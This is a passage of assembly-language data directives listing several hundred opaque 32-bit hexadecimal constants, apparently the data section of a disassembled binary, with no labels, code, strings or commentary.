		dd 0D713E0DEh, 7FF115h,	0A04396BDh, 0A10DF241h,	10A0664Fh
		dd 0B1C80B9Dh, 0F8FBCD32h, 4B3477D0h, 4BE09D2Eh, 0C33E8808h
		dd 6788B4B0h, 1C09AB9Ah, 716BDB83h, 0D83572DCh,	0A06F6697h
		dd 9D785F00h, 299FD480h, 0C83F7B02h, 68B4CAA9h,	4B7232B4h
		dd 84808807h, 0B6C410E9h, 3C25BDE7h, 0E014B6E4h, 9EEE6D1h
		dd 8034DB5Dh, 343AFC91h, 9A0A6828h, 0DBAEB99Eh,	6405F020h
		dd 6C308F8h, 0ECB848BDh, 2DC3302h, 5CF7C02Eh, 39C350F0h
		dd 0DAF16099h, 0D114D918h, 48FA092h, 64829E08h,	2B6C72AFh
		dd 608C5C29h, 0FBBBE11Fh, 98CE1C5Fh, 38C03FC8h,	16C8B595h
		dd 0E042A940h, 80BC3AACh, 1C60E1DCh, 0E0DD165Fh, 258092B6h
		dd 668034D4h, 5E5BBB21h, 91D10BF1h, 0C0D23294h,	0F368C295h
		dd 0D82370E4h, 0BB252200h, 3A3CE34Dh, 9F3402D1h, 11E67E4h
		dd 0BE4A5CE0h, 0E8E7E125h, 4E0D7730h, 0F1A4B61Ah, 4AF0A97Eh
		dd 91CA2CCFh, 0BC7A926Ch, 9CFC7F38h, 415C9A97h,	9F186E04h
		dd 9575F008h, 975D70A3h, 9FF03Fh, 44986360h, 77497971h
		dd 7362515h, 89478EEh, 8E3000DCh, 357E1D9h, 0AA029D65h
		dd 0D134F69Ah, 2F45403Ah, 97ADE8E5h, 3F6D2C41h,	74C014C8h
		dd 0A9530220h, 9F07AD8Bh, 0A241A87Eh, 0AC052889h, 721625A0h
		dd 0DF8D01E0h, 13D0BB8Bh, 0B14BECA7h, 732EC170h, 77099232h
		dd 0EFCC447Dh, 3D134ED0h, 6700A0C8h, 0A62B6E39h, 37B574C4h
		dd 8EF109B4h, 0E725CCF0h, 0A7CC7BC3h, 9F009435h, 0BCC81E80h
		dd 1C30DE2h, 30212D24h,	9000B3B9h, 0F707F833h, 16D3AF9h
		dd 0BAC5F1A9h, 0D26E99DCh, 0AC0214DAh, 256CA883h, 5760CA3Fh
		dd 0AC408C1Ah, 5C82D1CEh, 0D00660D0h, 1B6B2A94h, 0E48C6529h
		dd 1BF16021h, 9A4D023Eh, 7EAA545Bh, 917CB557h, 0BE608022h
		dd 8EEFD9Fh, 35B233F2h,	3208C02Ch, 531705E7h, 5EAF4Ah
		dd 0E5D2131Eh, 860E90F3h, 6E6048D8h, 32950E7Bh,	0F480AE4Eh
		dd 3F6BE3CCh, 0B848496Fh, 0A57DF403h, 0F1A2C26Ch, 86273050h
		dd 0CF304705h, 56858451h, 7A2828AFh, 0D5F66C77h, 34008971h
		dd 67AF8B1Dh, 34E16A72h, 0AE3107B1h, 92AAA420h,	0B8AE48Bh
		dd 677D3671h, 0BAC43488h, 0B1FDF450h, 939B0074h, 83658FC9h
		dd 3792BE14h, 14632484h, 706C7369h, 640BFA44h, 6854D2Fh
		dd 584E2Dh, 0E0839B54h,	0ABD2C897h, 78E68D4Bh, 44BC09B0h
		dd 0B10FC81Ch, 4AC0F7C2h, 2D2070A2h, 7CB7AC0Ah,	575F7700h
		dd 46893B0h, 8EB19748h,	1039AF18h, 0A2A8C03Dh, 6516A00Ah
		dd 0C14BACC2h, 56104D6Ch, 0EC41B2B9h, 34E631F0h, 0F9A10125h
		dd 226B8C8h, 0AA828E7Bh, 0A85EF51Eh, 354B77h, 373B0387h
		dd 9D844490h, 6A811205h, 0C774B45Ah, 9E383901h,	4DC2891Bh
		dd 6D871887h, 12331ACh,	0C8DC2F76h, 0CFCE4B99h,	0C0DA886Ch
		dd 19CAA168h, 4AE8883Bh, 0C588ECE2h, 46884EA5h,	0DF087769h
		dd 70A6B692h, 0DF3F717Ah, 73A405E6h, 20BE3381h,	0BC21B670h
		dd 0FF5E7624h, 0ECA68A00h, 96B8762h, 88B1A99Ch,	0DB008859h
		dd 0F7376F82h, 11A60363h, 0D376A865h, 46922D90h, 0B99DCD01h
		dd 1B25AACEh, 0B890843Eh, 0B8C8D7ACh, 49840FBEh, 7B00E1F6h
		dd 5836995Dh, 0EC9397h,	304E20CAh, 738B3E53h, 0FFF3BB00h
		dd 0FAAC793h, 0CD490C65h, 77694DA2h, 0E32A970Ah, 0A0990EFh
		dd 42285ECEh, 7C641656h, 68439E00h, 0EF22EC3Eh,	89460051h
		dd 0BB5A65C3h, 0C47AD897h, 0BC69FA01h, 18E06739h, 0CC3555D2h
		dd 0F6803C91h, 6887A1AFh, 0BF28125h, 9E580260h,	0BE4860D6h
		dd 0EC26573Ah, 0D05DB2A1h, 8C1F0E1Fh, 5A929685h, 8D01DCF7h
		dd 0B14AEEB4h, 3E881B55h, 998531C0h, 9B64921Bh,	10667860h
		dd 0C960689Ch, 1C0EFF64h, 6C1A5297h, 0FA7A89BCh, 6A0C44F9h
		dd 0E92ABCh, 2211AF39h,	505A9103h, 30FC9651h, 164BDA50h
		dd 729754CCh, 0F433E9F1h, 703126A2h, 31C69088h,	0ADAC7B25h
		dd 2B64E845h, 0C0C41F60h, 8905B70Bh, 5424ABEAh,	9D2E17ECh
		dd 85E030B8h, 44A7E09Ch, 0F29600F4h, 0CEB6C7FFh, 1E244091h
		dd 0A30F9DEEh, 11E7E1D2h, 0C607778h, 0B3BF2906h, 403000BCh
		dd 552CE671h, 44DC7E00h, 6ABFE954h, 0C7AA0h, 0CB2AEAF8h
		dd 8598C479h, 976D9007h, 73412CEEh, 9F2BF0A8h, 47CAC050h
		dd 429A3297h, 0C512100Eh, 0A3E89D01h, 0ECDA982Dh, 0D64E9289h
		dd 622DACE2h, 0A1A004DBh, 858B0F00h, 94AAAB6Bh,	7A9E131Ah
		dd 8048E8A8h, 5CE0F1F2h, 6587059Ch, 50BB08h, 7518DFB5h
		dd 0BA972AABh, 59B879ACh, 0F2B18DFh, 9060B90Bh,	0E2813643h
		dd 2D28F98Ch, 0DB6089EAh, 672270ACh, 6F3C6AE0h,	0FB2FA5C2h
		dd 0D4D30010h, 5658DF8Fh, 1163021Dh, 832DDB80h,	0B059BC06h
		dd 2758A5FCh, 225024F3h, 272FE78Ah, 212A860Ch, 0D2B04400h
		dd 5C246D45h, 0F95F0011h, 2FB1D0A9h, 950BAAC4h,	0FA645652h
		dd 37871244h, 0A2D0B849h, 40652947h, 0D96027E4h, 0E904AA21h
		dd 7030BD5Ch, 0DCAC08BDh, 8B98028Ch, 1997DF10h,	22C4A8E7h
		dd 49E6760h, 8B2A2307h,	12A2C886h, 259058CAh, 148D765Ah
		dd 38C12F79h, 9500E596h, 9CA8324Ah, 976316h, 4C83AFE0h
		dd 0BCDAE6DEh, 7B02DC0Ch
		dd 5807C7B1h, 6B0C60C8h, 0D9BA256Fh, 0A4902C5Ah, 260FAE11h
		dd 0ADF16E0Eh, 0F8319D80h, 0F3986A72h, 0DAB05A1Fh, 747127h
		dd 7FA50FC9h, 870022D7h, 425EAA74h, 2FE0ADB2h, 4CA20CB0h
		dd 0CC28E794h, 70045327h, 3E001579h, 6C59A726h,	5DF5A2EFh
		dd 0F24A341Ah, 46042EF8h, 9841B600h, 1DC45703h,	82EE0BA0h
		dd 8A3BB0F8h, 11181DFFh, 0B9B78032h, 0F9A2075h,	78FF977Ch
		dd 25939607h, 0B43AFB32h, 0A22D8C7Ah, 744D109h,	90FEEC32h
		dd 0E9C582EAh, 119C240Fh, 0BEB78083h, 585A596h,	0DB8B55BFh
		dd 0B8E4EDDAh, 0BF5C09F5h, 68DE4BD2h, 0F9B7740Bh, 345483D0h
		dd 0E6ED288Bh, 0F3AD0054h, 93759256h, 153400A8h, 16088D5Ah
		dd 88A8AC6Ah, 0BF90387Ah, 37AA5725h, 40531DD0h,	642C580Bh
		dd 344B4910h, 49F02CE6h, 0BF390C18h, 87930622h,	21370Eh
		dd 0B41143EBh, 0BB1B6218h, 0C283B21Bh, 60C4A2B0h, 0B5273578h
		dd 80006C3Dh, 6605D1B5h, 67A0CECh, 74210416h, 4E1F8400h
		dd 0B382C419h, 3BAE48BCh, 0C80B5C5Ch, 67CC0F5h,	0E258E800h
		dd 4B76BE83h, 2130CE3Bh, 7104A9ABh, 0AD2182Bh, 0E2359924h
		dd 2A465C20h, 0A0B10F18h, 678040FAh, 2A7A0008h,	9E856C4Bh
		dd 18CB2C22h, 3CD994h, 0F4FDE8EBh, 3000D046h, 0DCB2146Bh
		dd 132DD565h, 0F0B75Ah,	3A6E3964h, 71C02F0Ch, 6C7D969Dh
		dd 606900D5h, 79889BD7h, 0F6007258h, 6F3D2CCFh,	98025315h
		dd 63E6050Fh, 0C186B980h, 0B48E30h, 92D3138h, 3251B2E2h
		dd 7958A05Eh, 0E8FC8296h, 41CA00DCh, 6DDA1703h,	98039F02h
		dd 32B1B6ABh, 88804FE3h, 65008A74h, 0B9D79E44h,	1B1060Fh
		dd 0B67F1213h, 3AA163B3h, 0BA84305Dh, 3BEF9045h, 432239Ch
		dd 0C1E05253h, 449F0674h, 0D548C068h, 94B90C6Bh, 8501621Ch
		dd 1D06EE1Ch, 0E5771CCh, 875ABFF3h, 8184EC85h, 3B3105E0h
		dd 29104C58h, 6CECB5C5h, 0E87B4893h, 0F1F490Ch,	0C0FBBE59h
		dd 36E3250Eh, 285F5A6Fh, 65A0F8A7h, 20005C31h, 183D942h
		dd 99B8123h, 9C07F92Ch,	0A031C4C8h, 0C5EF1D12h,	13C594BCh
		dd 0C0641362h, 24048D44h, 87F8A497h, 5D8E99C0h,	0A4F1003Bh
		dd 3A2394A6h, 502E3228h, 0C02C2065h, 29D32A04h,	25233Bh
		dd 78BFADC4h, 6C1EB4BDh, 0A6E1C2h, 41DE818Bh, 0CC2BF194h
		dd 808A1670h, 9707A878h, 8522532h, 9D70747Ah, 0C2FE407h
		dd 98F09BBAh, 5D1B92h, 77E36D6Fh, 2CCC76B6h, 4871E2Ch
		dd 1051FF1Bh, 4B31C248h, 0B7E0DC81h, 204CF062h,	0F65A963Eh
		dd 107C58C0h, 9702DE36h, 92A9B626h, 0FDD8848h, 96853909h
		dd 0D8C0EB4Ah, 22CF72Bh, 87EA8205h, 0FC5EB9C8h,	9ECD949Eh
		dd 90847125h, 10FE25Ah,	0C566913Eh, 0B8A0242Fh,	0C3BC4898h
		dd 0E9BC34CFh, 842E555Ah, 5C49AED0h, 0E388F425h, 82F05B5Ah
		dd 5700BFCEh, 7753A759h, 31E52A0Eh, 8F316625h, 8EA088D0h
		dd 673801C7h, 2B4850FCh, 8A4364C8h, 98E00EDFh, 62D23AA1h
		dd 2403B86Ah, 0E78F9C5Eh, 867D6211h, 308BF76Eh,	0FAC07054h
		dd 3DB68F9h, 0E077205Ah, 9598BE3Ch, 58FAFBCDh, 0CB836C00h
		dd 729131Fh, 294A424h, 2D822A91h, 0B7D5E62Bh, 90AE00C8h
		dd 7E76462Fh, 9482D52Ch, 46748C26h, 491B0135h, 2F290BBAh
		dd 4A9E2820h, 7C9CF761h, 0E0D25227h, 4AADC68Ch,	811CDE12h
		dd 0F98197DBh, 6E78C02Bh, 115E55A2h, 593550C2h,	18267138h
		dd 0FEB8C43Ch, 5EC50930h, 30467E4Ch, 85F37100h,	923498B4h
		dd 0B4400E5Ah, 0A8B78B91h, 0C37400F0h, 4B076E11h, 2803F683h
		dd 0E4297344h, 0BCBCFCF4h, 7C35AB92h, 8DD43CAEh, 58B07395h
		dd 4400FE2Ah, 0BBC1B42h, 40EE9E84h, 0C23D6D22h,	220740F1h
		dd 6F48D99Bh, 44282260h, 0E8307913h, 836FF6F4h,	0D10B0ABDh
		dd 2FCEE7Bh, 0E7923806h, 21D90471h, 6608EC19h, 0BAAA683Dh
		dd 42A098D1h, 80FB95A0h, 8E25A683h, 0D030F368h,	2D00B776h
		dd 2FF25B6Bh, 9790E001h, 5074A4BAh, 5254656h, 51731D89h
		dd 82FE9909h, 57DD2698h, 2CA48497h, 3D7CE08h, 1E387687h
		dd 0B9576582h, 16119164h, 3846D03h, 6839D927h, 9FFCA88Dh
		dd 789097BEh, 0AE4AD0C8h, 0E64A28F2h, 5E2FE0B8h, 208202ECh
		dd 58109AAAh, 0CEB0997Fh, 6C06C311h, 8C2BBC7Ch,	0FC696305h
		dd 28AF1094h, 478A4EC4h, 6035441Ch, 551A021h, 95102DF2h
		dd 0A08CC52Ah, 565A9148h, 579F4882h, 39BA90B8h,	0E0F46780h
		dd 35652547h, 0FF447479h, 89B0095h, 208CEAC0h, 13143614h
		dd 0B8709DFCh, 0A8008C32h, 8C87FBC5h, 96429165h, 0B1860030h
		dd 9D3D39F5h, 69B981Dh,	0C1704DAFh, 0E048719Ah,	0B5ABFE5h
		dd 0BDB2C0F0h, 568D1468h, 0C9092B1Fh, 7A03AD81h, 926EB7D5h
		dd 1D21FA04h, 0C43F9A53h, 0C154B884h, 39963295h, 68302D2Fh
		dd 8C26ACC8h, 79ABF200h, 0E16BD4C8h, 0AF40BEBBh, 84007871h
		dd 12464E2Eh, 832A00D5h, 1D5EE37Dh, 0AD58FB66h,	8C36E884h
		dd 82925300h, 0E063995Eh, 72D0B3Ah, 54C7FE83h, 23602264h
		dd 0C501E563h, 0BC40339Eh, 802BE768h, 1706F90h,	4B0D610Eh
		dd 0F8BC16A2h, 239C2EB4h, 0D8BB0428h, 0A540C597h, 0B8943D30h
		dd 9A9207B4h, 0E4C57128h, 2328A10Bh, 3238A208h,	15B4B080h
		dd 8123130h, 20E86CC8h,	0EA950784h, 3E89A831h, 8084AC04h
		dd 0E031FB84h, 48DD2786h, 320054D9h, 87ABC24Ch,	99E6E8h
		dd 0D5818B14h, 3B53A2B1h, 0EAAE7F07h, 8E079DACh, 0FC916410h
		dd 5E74A20Ah, 575CDCACh, 4B13E12h, 117C402Dh, 9B6088AFh
		dd 6C5BB02h, 5E81B82Bh,	0F4C863B0h, 28BE5AC1h, 853416F8h
		dd 88AF9424h, 8A1F5250h, 30801965h, 46477CB6h, 547A3Fh
		dd 0E9033B57h, 4FE48C17h, 21A4E3Bh, 92F2B79Dh, 34377DD9h
		dd 0FF758000h, 75740BD2h, 0E532D7Fh, 2F6428C1h,	0B1E1A831h
		dd 0BE82282Ch, 6F012F4Ah, 0DB6A0E7Bh, 67C8764h,	0E0BF2632h
		dd 147DE262h, 34BDE163h, 2574852Ch, 9B564000h, 2E4F0F93h
		dd 5C1070B0h, 29E8ECABh, 0C5F8008Ch, 9BF7CE8Bh,	2C002B62h
		dd 867385Ch, 48F099B3h,	85814CCAh, 813F5AA6h, 45D88C80h
		dd 9FD07989h, 42BA2D98h, 40F204F0h, 0BD867403h,	0ED63F523h
		dd 11E0C4F7h, 0CC986BD9h, 98F1F44Eh, 35BCB02Ch,	70BD008Ch
		dd 0DA6DC893h, 8A263294h, 0D513063h, 5C2EF6E9h,	0A80F2200h
		dd 3D406B1Eh, 0E9AC79ADh, 0B4C355Dh, 845E78B6h,	9512C451h
		dd 0FE0BDE84h, 2623C83Eh, 0B4CFA91Fh, 981A2031h, 3BDD0D2Eh
		dd 56832D0Fh, 6E0A3FD7h, 2F7230A1h, 7A4B5831h, 0E62ED8F4h
		dd 0A4E5B536h, 0DCB1AE90h, 55299A6Dh, 65180321h, 0E1495A62h
		dd 0C4342EB4h, 83FD7080h, 0C46A5A9Eh, 0F828AE1Ch, 884C9C1Bh
		dd 9C484AA9h, 95301450h, 0C8D940F9h, 9A95BA18h,	0C40B7718h
		dd 116F1C5Ch, 0E0ACB692h, 1203228Fh, 0D124056Ah, 0DAC0A034h
		dd 0AB7BEC60h, 9230CB00h, 9AE93BF5h, 34E6B554h,	79785195h
		dd 0C418DDh, 0B6C65715h, 3844E8F1h, 3B58E1B5h, 61CCA820h
		dd 6AAD1039h, 3378F596h, 5ACB00BCh, 87B0257Bh, 0AFA9173Fh
		dd 94820E02h, 0E0C2F10Eh, 205F7796h, 0B6566314h, 0C5662589h
		dd 348B8873h, 204F28Dh,	0D795E89Ah, 5F766A6h, 0AC6B6D88h
		dd 4B0F2923h, 76A2034Ah, 5C62EFF2h, 75F042F7h, 0C802C8ABh
		dd 0D872E0C2h, 57823CFAh, 0CD57DC3Ah, 0DED44084h, 0B04865h
		dd 0D126E235h, 7C420EBh, 3D40C994h, 0E020B70Ch,	0C7BB47C6h
		dd 250ED6EAh, 60F63B40h
		dd 0F3B04F3Dh, 8B780B7Ch, 38F6DBDDh, 9509D410h,	0B7575D97h
		dd 0E5131CE0h, 7026470h, 0F5C8F18Bh, 45445EAEh,	2CAD16h
		dd 0BA2A6F0Ah, 582D49Fh, 7CD0D7EAh, 6C37AFC7h, 0AFEDB030h
		dd 58B0B0C4h, 4E714587h, 683C8D53h, 0E6AB25C0h,	4F60A710h
		dd 179F9D51h, 2CA13A98h, 767B009Bh, 45E3AC50h, 2100EE01h
		dd 0E2CC3244h, 1D547A8Eh, 0C280ABF6h, 2B873497h, 0C640387Fh
		dd 0B55004CBh, 809D30B9h, 0A8760580h, 41A26C17h, 312BA8A1h
		dd 0D80864B4h, 4225331Fh, 0B704EE1Dh, 520070C4h, 0BCCC6C5Bh
		dd 4BD389ACh, 220CCA3Bh, 782093ADh, 910532FDh, 0DAA9C889h
		dd 630068ECh, 0E567D894h, 855856DDh, 0E87C58C0h, 0AF008C2Ch
		dd 6EB2C122h, 9F1021BAh, 0A62B5468h, 49B3A40h, 0EC71E38Dh
		dd 6F098ADh, 0AA6D617h,	50E90C53h, 94124FB8h, 0DC0492C4h
		dd 3403067Eh, 494F1C8Fh, 0CC611C84h, 8C6BE929h,	3A690CACh
		dd 0C2EC56D1h, 9D012CDAh, 0A0298A34h, 523A204Ch, 833F68E5h
		dd 0EFE55A20h, 8C7A543Bh, 9B682107h, 0CAE2E283h, 44895585h
		dd 0A440BC7Eh, 1C5DC1FAh, 80E291CDh, 7303358Ch,	0DFEC7A1h
		dd 0AC8EFD12h, 67308F3h, 0AF7F9B84h, 4D9D68FBh,	5A80CEC0h
		dd 8CFBD093h, 0A2774Ah,	0B763EC00h, 0A5AE3E0Dh,	0F162F900h
		dd 0E83530D0h, 50716E0h, 0F40CBC9Bh, 28B29CA2h,	48777030h
		dd 5A105CAAh, 43B51CD9h, 6CC0D601h, 147CD1C2h, 0E918854Bh
		dd 39BAC64h, 0BDC832D2h, 1F908B9Ah, 4120BACFh, 96B9120Dh
		dd 118E156h, 6ED483ABh,	387C400h, 5E137A75h, 9C8F36Ah
		dd 9DADDC31h, 813E11B8h, 62A16581h, 0E05C082Ch,	0F2140CD3h
		dd 1D958A89h, 813F1114h, 675E09EAh, 0CAD8082Ah,	0FCD43417h
		dd 2C5D6481h, 85FF7C40h, 40E09F32h, 5682FA3Dh, 0D4732FC8h
		dd 0BBA070h, 51B18DDBh,	16D1CDB3h, 0D5A10660h, 31CE7Fh
		dd 824195Eh, 2ADE01B1h,	0DBB5A201h, 6EED9F6Dh, 0C8448E6Bh
		dd 2681C024h, 0AAA05D03h, 4CB49771h, 0F2B604DEh, 0AEC066BEh
		dd 9BBAFC84h, 97898008h, 447ED5Fh, 0A26F0E31h, 1C88ABD9h
		dd 6D3840DEh, 45B0C258h, 4C896BC8h, 804C9B3Eh, 99C2B72Fh
		dd 30858119h, 0F18050BCh, 9E8B16EEh, 0E7E08022h, 43428134h
		dd 0A8D1E22Fh, 822A9582h, 7AAD0035h, 7FA6D6Ch, 720F0D27h
		dd 884800A4h, 6E7B50A2h, 8005D818h, 15946270h, 9D0040E9h
		dd 850F0AB1h, 7200E8A3h, 0C21C4989h, 9963137Bh,	6AD800C8h
		dd 733BF45Ch, 1C67AA0Bh, 6B205E70h, 467098DBh, 91EECE25h
		dd 0EEF4DE60h, 7CF7A950h, 73B516CCh, 0E5E13CBCh, 2B882186h
		dd 5AE158F6h, 0A2B063FCh, 70093129h, 0C941E2E8h, 0D1F0DA2Ah
		dd 0FAF3C080h, 0E117F8h, 588BAC1Dh, 0ECBE893Eh,	64E0AA80h
		dd 0E83D31BAh, 78531F74h, 59C26E04h, 0D94AC0ACh, 0C12A88h
		dd 95F132BAh, 2CB0F1D2h, 4B91064h, 18125AC3h, 80CC9EABh
		dd 493AE0F8h, 8F312C41h, 373E0CF8h, 3548D751h, 8C24BCE8h
		dd 2E1DDE00h, 0B547F8EAh, 84FF3DBDh, 1239CA89h,	883D55h
		dd 0DAD99DADh, 1604A577h, 2319CA6Fh, 76868501h,	68282E2Fh
		dd 37C58854h, 2E742495h, 0AF8D0605h, 5C197000h,	97F24A95h
		dd 24575009h, 0B0525114h, 33610E58h, 48BE5FB1h,	116EAE8h
		dd 6BB6CBA8h, 0C5A3FE10h, 64202A84h, 8220EDBAh,	0B6E0A460h
		dd 780067Ch, 2819BF94h,	0CDB181BDh, 2FBEDBB3h, 4B3F32C8h
		dd 3218E8AAh, 34B882h, 2D97F5CDh, 15F1481Dh, 0B912165Fh
		dd 0ECB5AC91h, 857F2410h, 1E01E0F2h, 0FC125850h, 2992B515h
		dd 524A81Ah, 19DE5A94h,	0D897F0D3h, 9A0C787h, 0D2359D0Ch
		dd 0F208557h, 1C004CEAh, 0D0B00A10h, 9E155044h,	0B41781CCh
		dd 38AA3972h, 98A1825Ch, 1BEA8110h, 44F42B93h, 970E0036h
		dd 69DAF72h, 633A73EDh,	9F0717BDh, 0B26FE420h, 0E4F45405h
		dd 3AB9C038h, 0CD46C586h, 8EE1671Eh, 69B26D05h,	222D80ACh
		dd 14DDF048h, 805F7707h, 0A19C1581h, 0F29DA049h, 787A0Bh
		dd 62103795h, 0BEAE9BC3h, 0D48DE800h, 6C4FC766h, 0BC644A9Dh
		dd 0A5F98868h, 0D426470h, 1E07E11h, 0A684036Ch,	34745246h
		dd 9E1286B7h, 58BC37E2h, 2F0D30A1h, 21C82C8Eh, 0FD0218C0h
		dd 0C63F0160h, 767E08F6h, 5C3A2A8Ah, 89013123h,	3B621368h
		dd 200439A7h, 68CBABD9h, 3F8A9E08h, 0C2106700h,	7D71FFFAh
		dd 35EF30ADh, 0BDCAB740h, 0A4818092h, 10F63AF3h, 1F738AE0h
		dd 0F4F3C126h, 2254674h, 27A4284Fh, 3089D7CDh, 0D65856h
		dd 5889BC79h, 95EF9703h, 2C84A826h, 11049DA7h, 0E97180DAh
		dd 3F65020h, 0C9975BAh,	982DEE22h, 9C82014h, 4B63F2C9h
		dd 3268C096h, 85811B82h, 9E5A2EE8h, 7C4DEB70h, 3B9AB4C1h
		dd 4055A830h, 99106524h, 872537C2h, 296454CDh, 0EF2A9060h
		dd 61C1BA7Dh, 5D1A810Bh, 0FB0E100h, 9C0791C5h, 0FC006CADh
		dd 6CDD836Dh, 9D20B25h,	0E016A40Ch, 7210CBDCh, 7AC0C46Dh
		dd 928A331Fh, 60379FE4h, 0D6672509h, 9B01794h, 2CE4E151h
		dd 108A4F44h, 81C556DCh, 3222991Dh, 0AF63F892h,	7AFA4412h
		dd 9290004h, 7ECDAB9h, 3F309191h, 159FF880h, 952C04B6h
		dd 423A3227h, 50745638h, 978017C1h, 0A55E1249h,	884CE27Eh
		dd 70CDAD21h, 0A0BD9EC3h, 9D12B349h, 5CA56879h,	117B514Ch
		dd 0B62B9DFFh, 8B50E7CCh, 13252B2h, 0C888A648h,	84BAAEA9h
		dd 0E6603870h, 59B804FDh, 1DA60F00h, 0C112B027h, 976A3C10h
		dd 2544BC4Ah, 0D654DE8Ah, 9BAD2A0Fh, 0B65C207Eh, 0C9D226B9h
		dd 647014A8h, 9AAA14EDh, 0C02CC8A4h, 53133718h,	41A0F095h
		dd 96846017h, 54602741h, 0BD0C4AC5h, 0C86ED790h, 0C2EDFA0Ah
		dd 0BA5030B1h, 18056D39h, 0ADFE977Dh, 48801CFCh, 88102F9Fh
		dd 0E800ADB0h, 0D84C6322h, 7787CE7Dh, 9380C01Dh, 6B686EDCh
		dd 0D5A3201h, 496726B4h, 1F539E8h, 0FA8331BBh, 6A7E9E34h
		dd 7AEF64D4h, 0E9910F40h, 5E9FCB94h, 785E6934h,	2EC8465Eh
		dd 8108EC40h, 0B5AA06F4h, 600021EFh, 18B7642Ah,	0CD922C5h
		dd 0FCF5B26Eh, 0B510AD28h, 0F253FA9h, 0DBB03820h, 0EE015022h
		dd 6F779EC7h, 3DC8BB3Bh, 2A923DCCh, 0AC29082Fh,	1538A155h
		dd 0DC68664Bh, 7B28CD4Ah, 0F9053C6Eh, 0BA537FA1h, 8AEA7420h
		dd 567800C0h, 8C061B46h, 6102A0A5h, 0A9506E5Dh,	0D8405D26h
		dd 79956D67h, 561D1F58h, 8F00A8BAh, 7AFE328Dh, 98D00060h
		dd 0FE404291h, 0AC093FC2h, 3A53FC09h, 7BB66061h, 0E8385C6Fh
		dd 2DB26F04h, 20BC1622h, 94834909h, 6CD1C829h, 8D1822D9h
		dd 0D0744D00h, 0E335491Eh, 0AA5003B0h, 36926297h, 859E5804h
		dd 0CC1D859h, 0A800D54Ah, 6200C479h, 0AA6B9468h, 20E6D38h
		dd 7886D882h, 357D35BCh, 0C16A9F24h, 3EAE951Bh,	2C372EF1h
		dd 0B68A292h, 0B310F850h, 0F10B3DDBh, 20053730h, 788E4B5h
		dd 0A092AE5Eh, 0ACFA0Fh, 74B83892h, 197F70E1h, 640DDD03h
		dd 8A939B94h, 14AF57C9h, 6CE38301h, 7C403A3Dh, 0AAB087ACh
		dd 44E0A772h, 0AE116721h, 0D5F8F2FDh, 9A580B7Ah, 802EB54h
		dd 0F872C052h, 27EE1721h, 0E85024DBh, 0BDBF00C7h, 3F97B02Fh
		dd 4428988Ah, 197ED4AAh, 7478CCF4h, 0B9108D59h,	0B77CF8DFh
		dd 0B8076237h, 3803EFAAh, 71649F67h, 8A4E78CAh,	0C032C824h
		dd 1F8E5E2Ah, 0B4ADD029h, 0F51822D1h, 36022B7Dh, 46529284h
		dd 8138696Ch, 80E0892Fh, 751C9D31h, 0B5990818h,	0AC1AF4E5h
		dd 0DC985C99h, 0A5BF9F07h
		dd 0EA00E7BBh, 2A81D773h, 0A8E3B2h, 0A5BE7CFBh,	0FCBCBAE4h
		dd 6A330301h, 4016FF1Eh, 17187B2Fh, 0D8FC0B66h,	0D68DFB09h
		dd 0DC48D80Eh, 4D943D02h, 7978C106h, 2168CB2Bh,	6A1F62A0h
		dd 1A588257h, 59105E78h, 38190B36h, 0A062297Ah,	72341821h
		dd 20B849F2h, 0E7108C4Bh, 48CAC83Ch, 305980DCh,	0D4276Ah
		dd 40ED5692h, 0AA5EE255h, 0B1CC0E38h, 0D4FAE087h, 160C4422h
		dd 26195182h, 0E3ECCA5Ch, 0C541F499h, 2A2BBDC2h, 2C8940F3h
		dd 739D0858h, 0C8327000h, 0FCE1400h, 5B9C20A7h,	0A2B50913h
		dd 205BF4D5h, 8298298Bh, 0D23DDA80h, 2C0B9718h,	0BDDED45Ch
		dd 2400B864h, 0FC9A98FEh, 1A033110h, 78118682h,	4FDE1CD4h
		dd 1FE2BC11h, 229C2E9Ch, 6C804A7Ah, 4A6DC2B6h, 0A180BC10h
		dd 2FBF07h, 3A39C328h, 94E6BC0Ah, 11489D9Dh, 224C9F3Eh
		dd 3CB912h, 55FE823h, 973931D3h, 4FA5227h, 6BAB7850h, 7D02388h
		dd 80C68695h, 6F1D51D9h, 4E879602h, 40ABDA81h, 4B1A8930h
		dd 0C258D89Eh, 8390C99Dh, 0A62EB85Dh, 0EF2BA048h, 104D03DAh
		dd 9ABF9B60h, 8F24AFA8h, 5CCD984Bh, 8028DB3Eh, 4A35381Ah
		dd 0CD195AFh, 0A06471A5h, 63DE20A8h, 7510EAB5h,	2C60604Dh
		dd 88C7236h, 39B23294h,	9714782Dh, 0DD91C897h, 0F1E1FB80h
		dd 1C035CF2h, 32976EFDh, 4EA91D46h, 0C0E41A89h,	40A81A57h
		dd 83C9EE0Ch, 9DC5F022h, 0FE70C8D3h, 9E830978h,	0D8512382h
		dd 731830F9h, 54D17002h, 578B2CA3h, 52BEF810h, 1C1B0701h
		dd 8F15129Fh, 45EE1D0h,	3A24B830h, 45872B80h, 64F708Ah
		dd 0C05FF2B7h, 0E0BCBC12h, 1D8C2CECh, 92B42942h, 200BBA56h
		dd 485884h, 641D3492h, 0D079E9Ch, 97399BF8h, 7014F822h
		dd 0E8C45662h, 2B008C38h, 55F9D539h, 4AFD6AB6h,	0C44088FCh
		dd 0D85D7C18h, 9B9A70h,	2E778C41h, 0B262952Ah, 64E895F9h
		dd 0C2ED82A4h, 3EC85401h, 0EEEEA613h, 0DC23003Eh, 5431D900h
		dd 25965B84h, 0B04A8734h, 35EE55C0h, 400281D3h,	113E2E6Eh
		dd 0E4717B04h, 0C9D8D161h, 0A472F9h, 628D9519h,	0BC89551Fh
		dd 201D06B8h, 12016A4Fh, 0AB7F1C5Eh, 9D68DB7Ah,	0D288D694h
		dd 9006E003h, 258978E5h, 0E8E4D7E6h, 0A0B4352Bh, 0D6056D04h
		dd 0FC93BCBCh, 0EE9C25C4h, 6FB144A8h, 92DBA2Dh,	857071C4h
		dd 9429A2E7h, 4884AB84h, 80F4DBFAh, 0EEB273D3h,	0EA042C9Eh
		dd 1EE01C2Fh, 0BC5C16F5h, 1684B148h, 2782022h, 77D98BD4h
		dd 6675091Ch, 32921664h, 9EE8E0FAh, 0F2702505h,	2FFED604h
		dd 252318h, 70AC575Bh, 8401F742h, 6F2D2ABDh, 23A5DCAh
		dd 2697AD14h, 0C09CCD5Fh, 0E88DDE59h, 1DDA7909h, 0A8825534h
		dd 0E47563F6h, 0F05B956Ch, 73CCFF70h, 636F1FEBh, 0DC53C1DEh
		dd 0C23A4B1Ah, 1347E09h, 1785D234h, 7C9B6FB8h, 0D0A8FE80h
